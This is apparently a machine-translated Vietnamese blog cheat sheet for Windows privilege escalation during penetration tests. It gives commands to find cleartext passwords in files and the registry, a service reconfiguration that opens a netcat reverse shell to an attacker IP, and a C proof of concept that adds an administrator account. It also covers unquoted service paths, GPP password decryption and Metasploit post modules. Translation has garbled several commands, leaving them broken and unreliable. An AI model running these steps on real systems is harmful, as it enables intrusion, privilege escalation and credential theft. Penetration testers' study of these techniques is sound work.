Kiểm tra thâm nhập cơ bản của Windows

 Kiểm tra xâm nhập Windows

# Cơ bản
systeminfo
hostname

# Tôi là ai?
whoami
echo %username%

# Những người dùng/nhóm cục bộ nào đang có trên máy?
net users
net localgroups

# Thông tin thêm về một người dùng cụ thể. Kiểm tra xem người dùng có đặc quyền hay không.
net user user1

# Xem Nhóm miền
net group /domain

# Xem Thành viên của Nhóm miền
net group /domain <Tên nhóm>

# Tường lửa
netsh firewall show state
netsh firewall show config

# Mạng
ipconfig /all
route print
arp -A

# Hệ thống được vá tốt như thế nào?
wmic qfe get Caption,Description,HotFixID,InstalledOn
```

## Mật khẩu dạng văn bản rõ

### Tìm kiếm chúng

```
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini

#Tìm tất cả các chuỗi đó trong các tệp cấu hình.
dir /s *pass* == *cred* == *vnc* == *.config*

# Tìm tất cả mật khẩu trong tất cả các tệp.
findstr /spin "password" *.*
findstr /spin "password" *.*
```

### Trong Tệp

Đây là những tệp thông thường để tìm chúng. Chúng có thể được mã hóa theo chuẩn base64. Vì vậy, hãy chú ý đến điều đó.

```
c:\sysprep.inf
c:\sysprep\sysprep.xml
c:\unattend.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml

dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
```

### Trong Registry

```
# Truy vấn reg VNC
"HKCU\Software\ORL\WinVNC3\Password"

#
Truy vấn reg tự động đăng nhập Windows "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# Tham số SNMP
truy vấn reg "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

#
Truy vấn reg Putty "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Tìm kiếm mật khẩu trong reg
truy vấn reg HKLM /f password /t REG_SZ /s
truy vấn reg HKCU /f password /t REG_SZ /s
```

## Dịch vụ chỉ khả dụng từ bên trong

Đôi khi có những dịch vụ chỉ có thể truy cập từ bên trong mạng. Ví dụ, máy chủ MySQL có thể không thể truy cập từ bên ngoài vì lý do bảo mật. Cũng thường có các ứng dụng quản trị khác nhau chỉ có thể truy cập từ bên trong mạng/máy. Giống như giao diện máy in hoặc thứ gì đó tương tự. Các dịch vụ này có thể dễ bị tấn công hơn vì chúng không được thiết kế để nhìn thấy từ bên ngoài.

```
netstat -ano
```

Ví dụ đầu ra:

```
Địa chỉ cục bộ Proto Địa chỉ từ xa Trạng thái Người dùng Inode PID/Tên chương trình
----- ------------- -------------- ----- ---- ----- ----------------
tcp 0.0.0.0:21 0.0.0.0:* LISTEN 0 0 -
tcp 0.0.0.0:5900 0.0.0.0:* LISTEN 0 0 - tcp
0.0.0.0:6532 0.0.0.0:* LISTEN 0 0 - tcp
192.168.1.9:139 0.0.0.0:* LISTEN 0 0 -
tcp 192.168.1.9:139 192.168.1.9:32874 TIME_WAIT 0 0 -
tcp 192.168.1.9:445 192.168.1.9:40648 ĐÃ THIẾT LẬP 0 0 -
tcp 192.168.1.9:1166 192.168.1.9:139 THỜI GIAN CHỜ 0 0 - tcp
192.168.1.9:27900 0.0.0.0:* NGHE 0 0 -
tcp 127.0.0.1:445 127.0.0.1:1159 ĐÃ THIẾT LẬP 0 0 -
tcp 127.0.0.1:27900 0.0.0.0:* NGHE 0 0 -
udp 0.0.0.0:135 0.0.0.0:* 0 0 -
udp 192.168.1.9:500 0.0.0.0:* 0 0 -
```

Tìm **LISTENING/LISTEN**. So sánh với lần quét bạn đã thực hiện từ bên ngoài.
Nó có chứa bất kỳ cổng nào không thể truy cập từ bên ngoài không?

Nếu có, có lẽ bạn có thể chuyển tiếp từ xa để truy cập vào nó.

```
# Chuyển tiếp cổng bằng plink
plink.exe -l root -pw mysecretpassword 192.168.0.101 -R 8080:127.0.0.1:8080

# Chuyển tiếp cổng bằng meterpreter
portfwd add -l <attacker port> -p <victim port> -r <victim ip>
portfwd add -l 3306 -p 3306 -r 192.168.1.101
```

Vậy chúng ta nên diễn giải đầu ra netstat như thế nào?

**Địa chỉ cục bộ 0.0.0.0**
Địa chỉ cục bộ 0.0.0.0 có nghĩa là dịch vụ đang lắng nghe trên tất cả các giao diện. Điều này có nghĩa là nó có thể nhận được kết nối từ card mạng, từ giao diện vòng lặp hoặc bất kỳ giao diện nào khác. Điều này có nghĩa là bất kỳ ai cũng có thể kết nối với nó.

**Địa chỉ cục bộ 127.0.0.1**
Địa chỉ cục bộ 127.0.0.1 có nghĩa là dịch vụ chỉ lắng nghe kết nối từ PC của bạn. Không phải từ internet hoặc bất kỳ nơi nào khác. **Điều này thú vị với chúng tôi!**

**Địa chỉ cục bộ 192.168.1.9**
Địa chỉ cục bộ 192.168.1.9 có nghĩa là dịch vụ chỉ lắng nghe kết nối từ mạng cục bộ. Vì vậy, một ai đó trong mạng cục bộ có thể kết nối với nó, nhưng không phải ai đó từ internet. **Điều này cũng thú vị với chúng tôi!**

## Kernel exploits

Kernel exploits nên là tài nguyên cuối cùng của chúng ta, vì nó có thể khiến máy tính ở trạng thái không ổn định hoặc tạo ra một số vấn đề khác với máy tính.

**Xác định hotfix/bản vá**

```bash
systeminfo
# hoặc
wmic qfe get Caption,Description,HotFixID,InstalledOn
```

**Python to Binary**

Nếu chúng ta có một exploit được viết bằng python nhưng không cài đặt python trên máy tính nạn nhân, chúng ta luôn có thể chuyển đổi nó thành binary bằng pyinstaller. Một mẹo hay để biết.

## Scheduled Tasks

Ở đây chúng ta đang tìm kiếm các task được chạy bởi một người dùng có đặc quyền và chạy một binary mà chúng ta có thể ghi đè.

```
schtasks /query /fo LIST /v
```

Điều này có thể tạo ra một lượng lớn văn bản. Tôi vẫn chưa tìm ra cách chỉ xuất các chuỗi có liên quan bằng `findstr`. Vì vậy, nếu bạn biết cách tốt hơn, vui lòng thông báo cho tôi. Hiện tại, tôi chỉ sao chép-dán văn bản và dán vào linux-terminal của mình.

Vâng, tôi biết điều này không đẹp, nhưng nó hiệu quả. Tất nhiên, bạn có thể đổi tên SYSTEM thành một người dùng đặc quyền khác.

```
cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
```

## Thay đổi nhị phân dịch vụ upnp

```cmd
sc config upnphost binpath= "C:\Inetpub\nc.exe 192.168.1.101 6666 -ec:\Windows\system32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc config upnphost depend= ""
```

## Quyền dịch vụ yếu

Các dịch vụ trên windows là các chương trình chạy ở chế độ nền. Không có GUI.

Nếu bạn tìm thấy một dịch vụ có quyền ghi được đặt thành `everyone`, bạn có thể thay đổi nhị phân đó thành nhị phân tùy chỉnh của mình và khiến nó thực thi trong ngữ cảnh đặc quyền.

Trước tiên, chúng ta cần tìm các dịch vụ. Có thể thực hiện việc đó bằng cách sử dụng `wmci` hoặc `sc.exe`. Wmci không khả dụng trên tất cả các máy tính chạy Windows và có thể người dùng của bạn không sử dụng được. Nếu bạn không có quyền truy cập vào nó, bạn có thể sử dụng `sc.exe`.

**WMCI**

```
wmic service list brief
```

Lệnh này sẽ tạo ra rất nhiều đầu ra và chúng ta cần biết dịch vụ nào trong số những dịch vụ này có quyền yếu. Để kiểm tra xem chúng ta có thể sử dụng chương trình `icacls` không. Lưu ý rằng `icacls` chỉ khả dụng từ Vista trở lên. XP trở xuống có `cacls` thay thế.

Như bạn có thể thấy trong lệnh bên dưới, bạn cần đảm bảo rằng mình có quyền truy cập vào `wimc`, `icacls` và quyền ghi trong `C:\windows\temp`.

```cmd
cho /f "tokens=2 delims='='" %a trong ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') thực hiện
@echo
%a >> c:\windows\temp\permissions.txt

cho /f eol^=^"^ delims^=^" %a trong (c:\windows\temp\permissions.txt) thực hiện cmd.exe /c icacls "%a"
```

Các tệp nhị phân trong system32 bị loại trừ vì chúng hầu hết là đúng, vì chúng được cài đặt bởi windows.

**sc.exe**

```cmd
sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txt

FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt

FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO
@echo
%i >> services.txt

FOR /F %i in (services.txt) DO
@sc
qc %i | findstr "BINARY_PATH_NAME" >> path.txt
```

Bây giờ bạn có thể xử lý từng tệp một bằng lệnh cacls.

```
cacls "C:\path\to\file.exe"
```

**Tìm điểm yếu**

Chúng ta quan tâm đến các tệp nhị phân đã được người dùng cài đặt. Trong kết quả đầu ra, bạn muốn tìm `BUILTIN\Users:(F)`. Hoặc nơi người dùng/nhóm người dùng của bạn có quyền `(F)` hoặc `©`.

Ví dụ:

```
C:\path\to\file.exe
BUILTIN\Users:F
BUILTIN\Power Users:C
BUILTIN\Administrators:F
NT AUTHORITY\SYSTEM:F
```

Điều đó có nghĩa là người dùng của bạn có quyền ghi. Vì vậy, bạn chỉ cần đổi tên tệp `.exe` rồi thêm tệp nhị phân độc hại của riêng bạn. Sau đó, khởi động lại chương trình và tệp nhị phân của bạn sẽ được thực thi thay thế. Đây có thể là chương trình getsuid đơn giản hoặc shell ngược mà bạn tạo bằng msfvenom.

Sau đây là mã POC cho getsuid.

```c
#include <stdlib.h>
int main ()
{
int i;
i = system("net localgroup administrators theusername /add");
return 0;
}
```

Sau đó, chúng tôi biên dịch nó bằng mingw như thế này:

```bash
i686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe
```

**Khởi động lại dịch vụ**

Được rồi, bây giờ chúng ta đã có một tệp nhị phân độc hại, chúng ta cần khởi động lại dịch vụ để nó được thực thi. Chúng ta có thể thực hiện việc này bằng cách sử dụng ``` wmic` hoặc `net` theo cách sau:

```
wmic service NAMEOFSERVICE call startservice
```

```
net stop [tên dịch vụ] && net start [tên dịch vụ].
```

Bây giờ tệp nhị phân sẽ được thực thi trong ngữ cảnh SYSTEM hoặc Administrator.

**Di chuyển shell meterpreter**

Nếu phiên meterpreter của bạn bị hỏng ngay sau khi bạn tải xuống, bạn cần di chuyển nó sang một dịch vụ ổn định hơn. Một dịch vụ phổ biến để di chuyển đến là winlogon.exe vì nó được hệ thống chạy và luôn được chạy. Bạn có thể tìm thấy PID như thế này:

```
wmic process list brief | tìm "winlogon"
```

Vì vậy, khi bạn nhận được shell, bạn có thể nhập `migrate PID` hoặc tự động hóa lệnh này để meterpreter tự động di chuyển.

[http://chairofforgetfulness.blogspot.cl/...-and.html)

## Đường dẫn dịch vụ không được trích dẫn

**Tìm dịch vụ có đường dẫn không được trích dẫn**

```
# Sử dụng WMIC
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

# Sử dụng sc
sc query
sc qc service name

# Tìm Binary_path_name và xem nó có được trích dẫn không.
```

Nếu đường dẫn chứa khoảng trắng và không được trích dẫn, dịch vụ sẽ dễ bị tấn công.

**Khai thác nó**

Nếu đường dẫn đến tệp nhị phân là:

```
c:\Program Files\something\winamp.exe
```

Chúng ta có thể đặt tệp nhị phân như thế này

```
c:\program.exe
```

Khi chương trình được khởi động lại, nó sẽ thực thi tệp nhị phân `program.exe`, mà tất nhiên chúng ta có thể kiểm soát. Chúng ta có thể thực hiện việc này trong bất kỳ thư mục nào có khoảng trắng trong tên. Không chỉ `program files`.

Điều này tấn công được giải thích tại đây:
http://toshellandback.com/2015/11/24/ms-...priv-esc/)

Ngoài ra còn có một mô-đun metasploit cho việc này là: exploit/windows/local/trusted\_service\_path

## Trình điều khiển dễ bị tấn công

Một số trình điều khiển có thể dễ bị tấn công. Tôi không biết cách kiểm tra điều này theo cách hiệu quả.

```
# Liệt kê tất cả
các trình điều khiển driverquery
```

## AlwaysInstallElevated

```
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
```

http://toshellandback.com/2015/11/24/ms-...priv-esc/)

## Tùy chọn Chính sách nhóm

Nếu máy thuộc về một miền và người dùng của bạn có quyền truy cập vào `Thông tin khối lượng hệ thống` thì có thể có một số tệp nhạy cảm ở đó.

Đầu tiên chúng ta cần ánh xạ/gắn ổ đĩa đó. Để làm được điều đó, chúng ta cần biết địa chỉ IP của bộ điều khiển miền. Chúng ta chỉ cần tìm trong các biến môi trường

```
# Đầu ra các biến môi trường
set

# Tìm kiếm những thông tin sau:
LOGONSERVER=\\NAMEOFSERVER
USERDNSDOMAIN=WHATEVER.LOCAL

# Tra cứu địa chỉ ip
nslookup nameofserver.whatever.local

# Nó sẽ cho ra kết quả tương tự như sau
Address: 192.168.1.101

# Bây giờ chúng ta gắn kết nó
net use z: \\192.168.1.101\SYSVOL

# Và nhập nó
z:

# Bây giờ chúng ta tìm kiếm tệp groups.xml
dir Groups.xml /s
```

Nếu tìm thấy tệp có mật khẩu, chúng ta có thể giải mã như thế này trong Kali

```
gpp-decrypt encryptedpassword
```

```
Services\Services.xml: Thuộc tính dành riêng cho phần tử
ScheduledTasks\ScheduledTasks.xml: Phần tử bên trong của tác vụ, Phần tử bên trong của TaskV2, Phần tử bên trong của ImmediateTaskV2
Printers\Printers.xml: Phần tử SharedPrinter
Drives\Drives.xml: Thuộc tính dành riêng cho phần tử
DataSources\DataSources.xml: Thuộc tính dành riêng cho phần tử
```

## Nâng cấp lên SYSTEM từ Administrator

### Trên Windows XP và các phiên bản cũ hơn

Nếu bạn có GUI với người dùng nằm trong nhóm Administrators, trước tiên bạn cần mở `cmd.exe` cho administrator. Nếu bạn mở cmd trong Accessories, nó sẽ được mở dưới dạng người dùng bình thường. Và nếu bạn nhấp chuột phải và thực hiện `Run as Administrator`, bạn có thể cần biết mật khẩu Administrators. Mà bạn có thể không biết. Vì vậy, thay vào đó, bạn mở cmd từ `c:\windows\system32\cmd.exe`. Điều này sẽ cung cấp cho bạn một cmd với quyền Quản trị viên.

Từ đây, chúng ta muốn trở thành người dùng HỆ THỐNG. Để thực hiện điều này, chúng ta chạy:

Đầu tiên, chúng ta kiểm tra thời gian trên máy cục bộ:

```
time

# Bây giờ, chúng ta đặt thời gian chúng ta muốn CMD hệ thống bắt đầu. Có thể là một phút sau thời gian đó.
lúc 01:23 /interactive cmd.exe
```

Và sau đó cmd với quyền riêng tư HỆ THỐNG bật lên.

### Vista và phiên bản mới hơn

Trước tiên, bạn cần tải lên PsExec.exe và sau đó chạy:

```
psexec -i -s cmd.exe
```

### Kitrap

Trên một số máy, thủ thuật `at 20:20` không hoạt động. Ví dụ, nó không bao giờ hoạt động trên Windows 2003. Thay vào đó, bạn có thể sử dụng Kitrap. Tải lên cả hai tệp và thực thi `vdmaillowed.exe`. Tôi nghĩ rằng nó chỉ hoạt động với GUI.

```
vdmallowed.exe
vdmexploit.dll
```

### Sử dụng Metasploit

Vì vậy, nếu bạn có phiên metasploit meterpreter đang chạy, bạn có thể chạy `getsystem`.

## Post modules

Một số post-module metasploit thú vị

Trước tiên, bạn cần đưa shell meterpreter vào nền và sau đó chỉ cần chạy các post modules.
Bạn cũng có thể thử một số post modules khác.

```
use exploit/windows/local/service_permissions

post/windows/gather/credentials/gpp run post/windows/gather/

credential_collector run

post/multi/recon/local_exploit_suggester run post/windows/gather/ enum_shares run post/windows/gather/enum_snmp run post/windows/gather/enum_applications run post/windows /gather/enum_logged_on_users run post/windows/gather/checkvm ```




Đăng nhận xét

Mới hơn Cũ hơn